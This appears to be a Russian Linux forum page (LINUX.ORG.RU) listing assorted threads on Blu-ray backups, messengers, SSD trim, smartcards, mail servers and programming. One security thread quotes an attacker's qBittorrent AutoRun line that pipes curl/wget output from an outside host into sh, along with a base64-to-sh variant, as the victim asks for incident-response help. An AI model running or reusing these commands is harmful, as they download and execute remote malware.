LINUX.ORG.RU

Избранные сообщения z0idator

Форум — Linux-hardware

Кто-нибудь записывал многослойные blu-ray в линуксе?

Доброго времени суток

Сабж. Решил дома писать бекапы на блюрей (Выбор системы бэкапа)

Что взял:

    Write Speed (max)
      BD-R : 6X
      BD-R(SL, M-DISC) : 4X
      BD-R(DL) : 6X
      BD-R(TL/QL) : 4X
  • перезаписываемые болванки bd-re sl (25 gb), verbatim

  • болванки bd-r xl (100 gb, трехслойные), verbatim, элитные m.a.b.l.

    все болванки с маркетплейсов. больше нигде не нашел

  1. начал с перезаписываемых

    1.1. k3b сходу повыносил мозги отсутствием проверки пред записью (длинные имена, которые не будут совместимы с виндой). оказалось, менять параметны утилит бестолку. нужно в свойствах проекта выбрать «unix only». запись и проверка прошли успешно. запись шла +- на скорости 1x

    1.2. brasero не стал создавать iso, а сразу погнал записывать. скорее всего, из-за этого он тупил на скорости 0.2x часа 2, потом выдал ошибку. но диск вроде бы как читался (скорее всего нет, об этом дальше)

  2. решил перейти к 100 gb

    и k3b, т.к. brasero и диагностика это несовместимые вещи

    2.1. 100 gb, попытка # 1

     * iso 83 GiB создался без проблем
     * запись началась на скорости 0.9x и медленно ускорялась. где-то через 1.5 .. 2 ч скорость поднялась до 1.7x и прервалась где-то после 23 GiB
    
      подумал, что надо просто ограничить скорость до 1x и запастить терпением (6ч)
    

    2.2. 100 gb, попытка # 2

     * после нажатия burn выставил скорость "другое - 1x" (привод поддерживал 4x и 2x, болванка - до 4x)
     * набор файлов в проект k3b тот же, 83 GiB
     * запись началась на скорости 0.9x и не поднималась выше 1
     * через 2 часа дошла до 25 GiB ровно и опять отвалилась. на этот раз хоть догадался сохранить лог. лог добавлю позже. 25 это размер одного слоя
    

что интересно, обе запоротых болванки при попытке чтения формально определяются, показывают правильное название и список файлов, но при чтении после обрыва (dd … bs .. skip) выдают нули

возможно, brasero (1.2) тоже обломался записать однослойный за 2 часа. т.е. может дело не в одном слое, а во времени записи (что-то перегревается например)

Теперь вопросы:

  • кто-нибудь записывал многослойные blu-ray в linux? есть какие-то подводные камни?

  • (просто любопытно) есть ли способ верификации болванки уже после записи? не привязанный к процессу записи, когда уже нет ни проекта, ни iso? Т.е. проверить, что финализация прошла, все файлы читаются, размер адекватный, каких-то аномалий нет)

    upd: qpxtool (Кто-нибудь записывал многослойные blu-ray в линуксе? (комментарий))

       https://disk.yandex.ru/d/u7cgN02SsfT_RA
    
  • существуют ли способы диагностики болванок? Т.е. когда мошенник производитель пытается выдать однослойные noname болванки за что-то получше?

upd:

  • Большой шанс, что попались поддельные болванки 100 gb. На маркетплейсах полно отзывов на болванки, что запись прерывается на втором слое. Но про диагностику и верификацию все равно интересно
  • про скорость записи: wikipedia (en)

 bdxl, , , ,

router
()
Форум — Talks

BluRay болванки

Братва, а расскажите пожалуйста, какой нынче положняк по компакт дискам? Какие болванки не совсем говно, но при этом чтобы не платить по косарю за один диск? А то времена нынче такие, что явно пора запасаться консервами

И если про приводы ещё что-то полезное можно нагуглить, то вот где и как лучше брать диски - совершенно непонятно

 ,

mega_venik
()
Форум — Искусственный Интеллект

Посоветуйте ai chat bot

Кто какими ai chat-bot сайтами пользуется?
Те что видел - с задержкой появления каждой буквы в ответе. Это для идиотов?

Хорошо бы если б оно помимо помощи в кодинге умело бы генерировать картинки и реалистичные видео.
В идеале безплатный.

Интересует не какя-то модель, а конечая реализация в виде какого-то конкретного сайта.

Перемещено CrX из science

Перемещено hobbit из talks

 , ,

teod0r
()
Форум — Talks

Почему нет для джаббера клиента с удобством телеграма?

Если бы для джаббера был такой же клиент красивый как телеграм или ватсап, то я думаю все эти плохие говорилки, которые требуют номер телефона при регистрации (с технической точки зрения совершенно не нужный) - больше бы никто не использовал.

Меня мучает вопрос почему до сих пор такого клиента нет? На уровне своих знаний я не могу дать себе достаточно убедительный ответ на этот вопрос.

У меня есть свободное время и несколько коллег, которые могли бы за пару лет сделать что-то подобное и выложить на github. Не замесят ли нас агенты какой-то службы, которая, как мне кажется, не даёт никому выпустить такой клиент (на правах версии).

Не написал эту тему в Talks, так как там стоит лимит на репутацию.

Если я написал что-то не то - удаляйте сообщение, я жаловаться не буду.

Перемещено CrX из general

 , ,

Ultimenti
()
Форум — Security

Мой LXC ломанули 0_о

Всем привет!

Внутри сервера Proxmox был LXC для qBittorrent, через который качал всякое. Внезапно обнаружил, что в файле: /root/.config/qBittorrent/qBittorrent.conf:

  [AutoRun]
  OnTorrentAdded\Enabled=true
  OnTorrentAdded\Program=sh -c "(curl -s http://0x1x2x3.top || wget -qO - http://0x1x2x3.top) | sh"
  enabled=true
  program="sh -c \"echo <base64> | base64 -d | sh\""

Кто-то прописал в «выполнить при добавлении торрента» скрипт, который скачивает и запускает шелл с http://0x1x2x3.top. Хз может какой-то криптомайнер.

Проблема в том, что mount point был смонтирован к пулу с моими файлами. Могла ли эта гадость дальше пролезть и что можно сделать кроме проверки ClamAV?

ЧТО В ИТОГЕ:

  1. Поставил на входе на NGINX ограничение по GEOIP
  2. Убил инфицированный контейнер
  3. Проверил mount point через ClamAV, новых файлов не нашел
  4. Стал использовать CrowdSec
  5. Думаю над VPN для внутренних сервисов

 ,

AntonyRF
()
Форум — Development

Драйвера на C

Всех приветсвую! Хотел бы узнать с чего стоит начать, чтобы писать дрова для каких нибудь микроконтроллеров или микроплат (возможно даже какие-нибудь модули ядра). Для меня asm это уж слишком. Можно ли использовать только C? или asm это обязательное требование? Буду рад если вы мне дадите советов или каких нибудь источников для изучения.

 , , , ,

qoil_ghost
()
Форум — Admin

Связка Postfix + Dovecot + Mysql

Здравствуйте! Прошу тапками незакидывать, но тема не однократно поднималась на просторах интернета, но не один вариант не работает корректно или-же он устаревший. Прошу вас помочь правильно нарстроить данный паровоз. Что мы имеем?

  • CentOS9 Steam
  • Postfix 3.5.25
  • Dovecot 2.3.16
  • Mysql-server

Все настраивал как и 12 лет назад, но сейчас что-то не работает. Связка работает без Postfixadmin, ящики лежат в БД

 , , ,

Google-moogle
()
Форум — Multimedia

Догадался, как воспроизводить DSD/DSF в qmmp без внешнего DAC!

subj. Нужно включить плагин SoX resampler и поставить 96000.

 , , dsf, ,

Shadow
()
Форум — Talks

Что из свободных решений может заменить WhatsApp и Telegram?

Давно не пользовался Jabber, плюс реализация некоторых функций может зависеть от клиента, поэтому лучше просто спрошу: есть ли в нём или в каком-то другом свободном мессенджере возможность простым образом создавать группы участников, которые не будут светиться в списке комнат и т.д.? То есть, условно говоря, создал чат, добавил людей - и они могут общаться, несмотря на то, что каждый может работать через свой личный сервер. Это можно сделать в Jabber? Или лучше посмотреть в сторону Matrix или другого варианта?

Перемещено maxcom из general

 , , ,

askh
()
Форум — Talks

Семантический поиск по Telegram

Пока в соседней теме срач про замедление Telegram, мой самый большой персональный проект (14 микросервисов) подошёл к чекпойнту, когда его уже можно показать публике. Это всё ещё ранняя Beta и много идей не реализовано, не судите строго. Также, так как сайт за CloudFlare, то методы доступа к нему не сильно отличаются от самого Telegram.

https://semagram.io/ - семантический поиск по Telegram

Под капотом более миллиона публичных Telegram каналов на нескольких десятков языков (2/3 на русском), сто пятьдесят тысяч публичных чатов и больше ста тысяч ботов (последним особенно горжусь, с учётом суммарного MAU ботов >560M мой каталог может претендовать на звание самого большого из публично существующих обходя findmini.app с 493M суммарного MAU ботов).

Поиск работает по эмбеддингам вычисленным на основе юзернейма, имени и аватарки канала, а также 10 последних текстовых сообщений. Для чатов, очевидно, сообщения в поиске не участвуют, потому что кто мне их даст. А для ботов, напротив, добавляется сообщение из пустого диалога и список команд.

Специфика семантического поиска в том, что вы не найдёте то, что можно и так найти в самом Telegram (например, канал по точному имени или юзернейму). Найти можно то, что в Telegram найти нельзя. Например, «чат для руссковорящих жителей Франции» (0 результатов во встроенном поиске). Чем длиннее и детальнее запрос, тем интереснее результат.

Проект обошёлся мне в 10$ на эмбеддинги, а также img2text, 16$ на прокси, 300 рублей на Telegram аккаунты (узнать список команд бота можно только через MTProto, увы) и 100$ на Claude (без него делал бы проект не 1 месяц, а 3). Ну и примерно 50 гигов на подкроватном сервере. А ещё огромное спасибо авторам pg_vector.

В общем, аудитории LOR представляется уникальная возможность попробовать сей инновационный сервис и обругать его, а также задать любые вопросы.

 ,

KivApple
()
Форум — Admin

Настройка внешнего доступа Prosody

Добрый вечер! В локальной сети есть сервер Prosody. Серверу присвоено локальное доменное имя jabber.local.

Каким образом можно организовать внешний доступ в/из локалки к серверу. Т.е. чтобы можно было писать, находясь не в локалке.

Белого айпишника нет. Есть vps и есть доменное имя. Также есть туннель от сервера prosody до vps.

Подозреваю, что надо использовать что-то типа nginx. Попробовал, но что-то не вышел каменный цветок)))

 ,

Caldin-Maldin
()
Форум — Talks

О том, почему люди юзают Telegram и Max в то время как есть IRC, Jabber и Matrix

Решил вынести вопрос в отдельную тему чтобы получше его развернуть.

Итак, у каждого инструмента своя ниша и, очевидно, можно сидеть, например, одновременно и в Телеграме и в Джаббере. Зачем, почему недостаточно Джаббера? На этот вопрос я отвечу дальше.

Итак, Телеграмы и Максы раздуты не на пустом месте, а из-за предоставляемого функционала. Т.е. они сравнимы с Джабберами и Матриксами примерно как офисные пакеты с vim'ом и ed'ом. Да, не всем нужно больше, но... А в чём заключается это «больше» и как правильно его готовить?

Итак, мессенджеры уровня Телеграма и Макса - это целые площадки, целые сегменты интернета, внутри которых не просто чаты, но и каналы и хранилища контента. В некотором роде это подобие соцсетей, только в профиль, более дружественной к юзеру стороной. Например, в соцсетях часто встречается переизбыток рекламы и рекомендательных технологий, которых нет в мессенджерах.

Эти изолированные экосистемы привлекают людей, которые в них развивают бурную деятельность, создают в них сообщества и наполняют полезным и интересным контентом, который привлекает других людей. И каждый может прийти и присоединиться. При этом, это организовано наиболее удобным для совместного развития проектов образом.

Понятное дело, что можно поднять свой собственный сервер и наполнить его своим контентом, а потом кидать ссылки знакомым и друзьям в Джаббер. Так тоже можно, да. Но ссылки не дают гарантии доступности контента. А у разных людей из разных стран могут быть заблокированы разные ресурсы. У кого-то заблокирован Ютуб, у кого-то заблокирован Вконтакт, у кого-то заблокирован Рутуб, у кого-то заблокирован Яндекс-диск,... А так просто выкладываешь в экосистему мессенджера видео - и оно сразу гарантированно доступно всем участникам. Также можно, например, создать свой приватный канал (или даже пучок таких каналов), кидать туда разные материалы, а потом просто пересылать оттуда в разные чаты. Просто, быстро и удобно. И не надо выискивать по всему интернету ссылки на материалы, которые, вероятно, уже вообще удалены.

Понятное дело, что асоциальным единоличникам всё это может быть странно и непонятно. Но именно поэтому подобные мессенджеры и вытеснили IRC, оставив последний только тем, кто совсем не хочет ничего менять.

Теперь перейдём к рискам. А любая площадка - это в т.ч. и риски. Будь то ЛОР, reddit, Телеграм или Max. Никто их не отрицает, да.

Любая площадка сохраняет определённые следы действий юзера. Кого-то и по ЛОРу можно взять и деанонимировать, особенно с современными технологиями. В мессенджерах же люди действуют более открыто, хоть и сохраняя определённую приватность.

Короче, цифровая гигиена у грамотных людей сводится к тому, чтобы пользоваться нужными площадками аккуратно. И чем более подозрительна площадка тем более аккуратно нужно к ней подходить. Но полное избегание какой-либо площадки не изменит в мире ничего кроме того, что юзер окажется изолирован от ряда людей и части информации. Критическое мышление важнее категорического отказа.

 , ,

saahriktu
()
Новости — Open Source

oVirt 4.5.7

Группа Open Source

13 января этого года объявлено об очередном релизе платформы управления виртуализацией с открытым исходным кодом oVirt 4.5.7. Напомню, что компания Red Hat, которая и запустила разработку проекта oVirt, прекратила вносить вклад в oVirt, сосредоточившись на платформе Red Hat OpenShift и дальнейшее развитие проекта легло на плечи сообщества разработчиков открытого исходного кода.

В релизе oVirt 4.5.7 добавлена ​​поддержка CentOS 10 и AlmaLinux 10. Что касается аппаратной части, добавлена ​​поддержка более новых серверных процессоров, включая AMD EPYC Milan/Rome/Genoa, Intel Sapphire Rapids и IBM POWER10.

В новой версии oVirt также исправлена ​​уязвимость CVE-2024-7259, из-за которой пользователи с правами администратора могли использовать инструменты разработчика браузера для просмотра паролей провайдера в открытом виде.

>>> Страница загрузки

>>> Источник

 ,

splinter
()
Новости — Open Source

Chawan 0.3.3 — текстовый веб-браузер и пейджер

Chawan 0.3.3 — текстовый веб-браузер и пейджер
Группа Open Source

Chawan — это текстовый веб-браузер и пейджер для Unix-подобных систем, ориентированный на реализацию современных веб-стандартов. При этом Chawan стремится быть самодостаточным, простым в использовании и расширяемым.

Он включает в себя такие функции, как CSS, встроенные изображения в терминале (включение этой функции – по желанию; нужно отредактировать конфигурацию) и JavaScript, реализуемые через небольшой независимый браузерный движок.

( читать дальше... )

>>> Chawan 0.3.3

 , , ,

greenman
()
Статьи — Desktop

Trim / Over Provisioning: Всё, что мне известно про SSD в Linux

Все вы, наверное, слышали про то, что для долгой службы SSD на нём следует держать 10%-20% свободного места; и почти все слышали, что самый эффективный метод — держать на SSD неразмеченное пространство. — Данный метод называется «Over Provisioning» (что-то вроде «Сверх Обеспечение»). Но Овер-Провиз. одним только оставлением свободного пространства — чаще всего не заведётся, так как для этого требуется Discard ячеек. Я очень подробно распишу всё ниже.

Сейчас лишь добавлю, что и про Trim напишу.

Критическое замечание про SSD

Если у вас примонтирован виндовый SSD через NTFS-3G, то fstrim.timer будет вешать в ОС всю дисковую подсистему на 10-15 минут в состояние паузы/ожидания. Ни за что не жмите кнопку «RESET» — смотрите на индикатор работы дисков на вашем системнике, и просто подождите, пока ОС «отлипнет».

Over Provisioning

Что очень интересно, что двумя кликами включить Овер-Провиз. можно только под виндой и для винды, с помощью фирменных приложений вендоров. Но этот софт не работает для линуксовых SSD.

Линуксовые-же мануалы, предлагают зачастую использовать blkdiscard с байтовыми диапазонами (позиция начала неразмеченного пространства и длина). — НИКОГДА НЕ ДЕЛАЙТЕ НИЧЕГО ПО ЭТИМ МАНАМ, т.к. вы можете запороть последнюю запись GUID Partition Table и/или хвост Swap (или другого последнего своего раздела).

Я придумал более простой, универсальный, надёжный и безопасный метод. Всё очень просто: создаём с помощью GParted раздел БЕЗ ФС во всей неразмеченной области (Нам не нужны там иноды, экстенты, журналы, FAT или MFT). СОХРАНЯЕМ. Теперь натравливаем на этот раздел sudo blkdiscard /dev/sdXY … таким образом, ячейки находящиеся в пределах раздела обнулились и об этом был оповещён контроллер, — МЫ ПОДАРИЛИ МНОГО СВОБОДНОГО МЕСТА КОНТРОЛЛЕРУ, ДЛЯ РОТАЦИИ.

Чем хорош этот метод??? — ОН ВЕНДОРО-НЕЗАВИСИМ, идеально работает в линукс, нет шанса напортачить.

Trim

Вы всё знаете про fstrim.timer, который выполняется раз в неделю. Но не факт, что вы знаете про Swap-Trim…

Swap-Trim

Свопу в /etc/fstab нужно вписать одну из этих опций:

  1. discard=once — Срабатывает однажды при загрузке. Нет оверхэда записи свопа. Не подходит для машин с большим ап-таймом.
  2. discard=pages — Обрабатывает на лету. Подходит для машин с большим аптаймом, но вызывает оверхэд на свопе.
  3. discard — (без опции) объединяет в себе эти 2 режима. Я выбрал это, потому что я шланг.

Зачем это нужно в Свопе??!! — Всё дело в том, что если нет дискарда для свопа, то мусолятся одни и те-же ячейки без ротации, пока в них не протрётся дыра. Согласитесь, если в свопе протереть дырку — стабильность системы упадёт.

ИТОГ

Вот вы и узнали достаточно про эксплуатацию SSD в Linux. Даже при самых пессимистичных прогнозах, — диск в теории прослужит не меньше 15 лет.

Надеюсь, мои мысли вам помогли. Have Fun!!!

ЗЫ: ДОМОРОЩЕННЫЙ КОМПЬЮТЕРНЫЙ КЛУБ!

 ,

Set440
()
Статьи — Desktop

Гитара + Linux + СПО: быстрое руководство 2025

Рассмотрим сначала базовую задачу — как играть, при использовании преимущественно СПО. Про запись гитары, и про коммерческое ПО - возможно, будет отдельно.

Итак, у вас есть гитара, и вы хотите использовать компьютер как гитарный процессор для нее, вместо гитарного комбика. Что надо знать, актуальный список пунктов на 2025 год:

( читать дальше... )

 , , ,

James_Holden
()
Форум — Linux-hardware

Смарткарта в OpenBSD

Пытаюсь настроить работу Rutoken-Lite в OpenBSD.
Вводные: OpenBSD 7.7
по программам:

1 pcsc-lite-2.3.1
2 pcsc-tools-1.7.3
3 opensc-0.26.1
4 ccid-1.6.2

Устройство определяется так:

fan# dmesg | grep Rut
ugen0 at uhub4 port 3 "Aktiv Rutoken lite" rev 2.00/1.00 addr 4

Рутокен имеет VendorID - 0a89
Но у меня почему-то строка пустая:

fan# lsusb
Bus 000 Device 004: ID 0a89:0025

Не знаю влияет это как-то или нет?

Вывод usbdevs:

fan# usbdevs -v                                                                                                               
Controller /dev/usb0:
addr 04: 0a89:0025 Aktiv, Rutoken lite
	 full speed, power 100 mA, config 1, rev 1.00
	 driver: ugen0

Права на usb0:

fan# ls -l | grep usb0
crw-rw----  1 root  wheel      61,   0 May 12  2025 usb0

В группе wheel состаю:

fan$ id
uid=1000(fan) gid=1000(fan) groups=1000(fan), 0(wheel), 5(operator), 118(_shutdown), 553(_saned)

Запускаю pcscd:

fan# rcctl start pcscd                                                         
pcscd
(ok)
fan#

Проверяю поддержку устройства:

fan# opensc-explorer                                                           
OpenSC Explorer version 0.26.1
No smart card readers found.

Соответственно сканирование уходит в бесконечность:

fan# pcsc_scan  
PC/SC device scanner
V 1.7.3 (c) 2001-2024, Ludovic Rousseau <ludovic.rousseau@free.fr>
Using reader plug'n play mechanism
Scanning present readers...
Waiting for the first reader... |

И дальше ничего не происходит.
С таким же набором программ в Slackware 15.0 сканирование работает.

 ,

RodoSlav
()
Форум — General

Книги по C++

Посоветуйте книгу по плюсам,пишу на C++ примерно год, могу накалякать что нибудь на qt, недавно заинтересовался сетями(сокеты беркли, boost asio).

 , ,

mozgoff
()
Форум — Talks

Изучить С

Всем привет! Надоели мне эти скриптовые аркадные языки, повесточка, докеро-голанги и тп, решил заняться изучением С. Тем более что вспомнил о том, что по факту это единственный язык который доставлял удовольствие.

Посоветуйте пожалуйста книгу, которую можно почитать и порешать оттуда заодно задачи если есть.

 , ,

NorthernBlow
()
Форум — Desktop

VIM. Окончательное решение вопроса о мапе контрола на капс.

Сабж.

Все нагугленные решения какие-то половинчатые. Кто как делает? Есть решение чтоб и под иксами и под ssh?

$ nvim --version
NVIM 0.1.7
Build type: None
Compilation: /usr/bin/cc -g -O2 -fdebug-prefix-map=/build/neovim-wew7PE/neovim-0.1.7=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DDISABLE_LOG -Wconversion -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1  -Wall -Wextra -pedantic -Wno-unused-parameter -Wstrict-prototypes -std=gnu99 -Wvla -fstack-protector-strong -fdiagnostics-color=auto -DINCLUDE_GENERATED_DECLARATIONS -DHAVE_CONFIG_H -D_GNU_SOURCE -I/build/neovim-wew7PE/neovim-0.1.7/build/config -I/build/neovim-wew7PE/neovim-0.1.7/src -I/usr/include -I/usr/include -I/usr/include -I/usr/include -I/usr/include -I/usr/include -I/usr/include -I/build/neovim-wew7PE/neovim-0.1.7/build/src/nvim/auto -I/build/neovim-wew7PE/neovim-0.1.7/build/include
Скомпилирован  pkg-vim-maintainers@lists.alioth.debian.org

Optional features included (+) or not (-): +acl   +iconv    +jemalloc +tui      
For differences from Vim, see :help vim-differences

            общесистемный файл vimrc: "$VIM/sysinit.vim"
          значение $VIM по умолчанию: "/usr/share/nvim"

// мой мизинец скажет вам спасибо :)

 , , ,

pihter
()